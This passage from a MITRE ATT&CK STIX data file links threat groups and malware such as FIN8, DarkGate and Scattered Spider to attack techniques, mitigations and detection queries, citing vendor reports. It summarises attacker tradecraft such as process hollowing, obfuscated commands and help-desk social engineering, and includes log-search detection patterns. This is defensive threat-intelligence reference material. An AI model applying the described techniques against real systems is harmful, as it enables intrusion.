2019)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd419d0b-d019-47f2-83a5-a8459ee9ed4b","type":"relationship","created":"2021-10-04T15:23:09.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.369Z","description":"(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd44a14f-1ca5-4356-a6fe-c5507a77d490","type":"relationship","created":"2020-10-19T13:40:11.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T13:40:11.238Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd44d6f1-25c5-4365-8a68-323bfc0b3f22","type":"relationship","created":"2019-09-24T13:29:29.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.826Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can check the services on the system.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd47b0c7-e1d9-4e6d-8081-4e56ecb1ad03","type":"relationship","created":"2020-06-24T22:37:51.030Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T21:35:12.513Z","description":"Limit the privileges of user accounts so that only authorized administrators can edit system environment variables.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd49b386-9455-4a23-b5eb-b673e58b9d3a","type":"relationship","created":"2021-10-12T19:52:22.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"}],"modified":"2021-10-12T19:52:22.587Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Empire](https://attack.mitre.org/software/S0363), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd507797-cc28-4271-9a4c-d1fbe726722b","created":"2024-02-12T19:58:46.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:22:50.114Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) leverages process hollowing techniques to evade detection, such as decrypting the content of an encrypted PE file and injecting it into the process vbc.exe.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd518b7a-b35d-4689-89f6-525efbeee18f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}],"modified":"2019-09-04T22:55:41.885Z","description":"(Citation: Palo Alto OilRig Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd534cf2-9818-492b-9f11-6e5e7994d77b","created":"2023-08-17T18:51:51.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:28:48.443Z","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) has attempted to change its name to `cron` upon startup. During incident response, [QUIETEXIT](https://attack.mitre.org/software/S1084) samples have been identified that were renamed to blend in with other legitimate files.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd6055a0-7db2-4135-a87f-156354c97f0b","created":"2020-03-20T21:04:48.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.672Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has also obfuscated its C2 traffic as normal traffic to sites such as Github.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd680ab5-b36d-490c-9f38-eba49a751d3b","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:15:01.485Z","description":"Monitor M365 Audit logs for ```Update application``` or ``` Update Service principal``` operations involving the AzureActiveDirectory workloads. Look for suspicious modified properties RequiredResourceAccess changes.\n\nAnalytic 1 - Suspicious modifications to RequiredResourceAccess, unexpected user agents, unusual modification times.\n\nNote: To detect suspicious updates to applications which might indicate the granting of unauthorized permissions or impersonation access.\n\n\"index=\"\"m365_audit_logs\"\" Workload=\"\"AzureActiveDirectory\"\" Operation=\"\"Update application\"\"\n| search NOT (UserAgent=\"\"expected_user_agent\"\")\n| table CreationTime, UserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties\n\" \n\nAnalytic 2 - Suspicious key descriptions, unexpected user agents, unusual modification times.\n\nNote: To detect suspicious updates to application certificates and secrets, which might indicate unauthorized access or changes.\n\n \"index=\"\"m365_audit_logs\"\" Workload=\"\"AzureActiveDirectory\"\" Operation=\"\"Update application – Certificates and secrets management\"\"\n| search NOT (UserAgent=\"\"expected_user_agent\"\")\n| table CreationTime, UserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties\n\"\n\nAnalytic 3 - Suspicious service principal names, unexpected user agents, unusual modification times.\n\nNote: To detect suspicious updates to service principals, which might indicate unauthorized access or changes.\n\n \"index=\"\"m365_audit_logs\"\" Workload=\"\"AzureActiveDirectory\"\" Operation=\"\"Update service principal\"\"\n| search NOT (UserAgent=\"\"expected_user_agent\"\")\n| table CreationTime, UserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties\n\"","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd68dcb1-686c-4e48-9b6c-26c98a4f43e5","type":"relationship","created":"2022-03-24T22:31:32.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.757Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can search for modifiable services that could be used for privilege escalation.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd6bd6fd-4a75-4094-ac67-bc14cb6b44bb","type":"relationship","created":"2020-12-11T15:57:08.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-19T20:31:56.469Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has utilized malicious VBS scripts in malware.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd6f5d49-889b-42df-b955-ddff0847f5bf","created":"2024-03-26T19:29:34.700Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T19:29:34.700Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) utilized social engineering to compel IT help desk personnel to reset passwords and MFA tokens.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd763f17-409d-428b-825c-f731b0ad88cc","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:48:48.987Z","description":"[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn `cmd.exe` execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC and the [Impacket](https://attack.mitre.org/software/S0357) suite for lateral movement, as well as during and post compromise cleanup activities.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd78292b-d484-4d08-baa4-f6b58bb63622","created":"2023-03-21T20:45:58.707Z","revoked":false,"external_references":[{"source_name":"FireEye APT19","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T20:45:58.707Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate executed commands.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd79762c-1718-4c6b-adaa-a9a004bcdbca","type":"relationship","created":"2021-10-13T15:35:20.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T15:35:20.813Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can encrypt data using AES prior to exfiltration.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd7bcf0a-5546-4c0d-adcc-aff6963d06f5","created":"2024-06-14T19:11:33.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T19:48:28.978Z","description":"\n[Star Blizzard](https://attack.mitre.org/groups/G1033) has used open-source research to identify information about victims to use in targeting.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd7ca8e8-82fc-443d-945a-fcef3352ec8a","type":"relationship","created":"2020-02-11T18:47:46.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:47:46.705Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd7d0ecd-7d16-424f-8d5c-9af1604290fa","created":"2024-06-27T19:27:20.400Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T19:27:20.400Z","description":"[LunarLoader](https://attack.mitre.org/software/S1143) can use reflective loading to decrypt and run malicious executables in a new thread.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd857fa3-3aef-448e-9792-d7512eb740ea","created":"2024-05-15T19:57:09.660Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T19:57:09.660Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has identified target network security measures as part of pre-compromise reconnaissance.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd864eec-92f0-4401-8f1e-38130cc6d2e2","created":"2024-07-25T22:26:43.947Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:26:43.947Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) uses TCP and UDP communication for command and control traffic.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd8fa359-c13e-4641-9c3e-d03218daee0c","type":"relationship","created":"2020-05-26T20:37:19.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."},{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T14:37:02.738Z","description":"(Citation: CheckPoint Naikon May 2020)(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd93333d-ec77-4f0d-be90-64860d67bdf5","type":"relationship","created":"2020-07-17T19:22:28.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:31.950Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use winapiexec tool for indirect execution of ShellExecuteW and CreateProcessA.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd9834dc-0323-408b-b217-3f3aa27b50ac","created":"2020-10-13T22:33:14.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 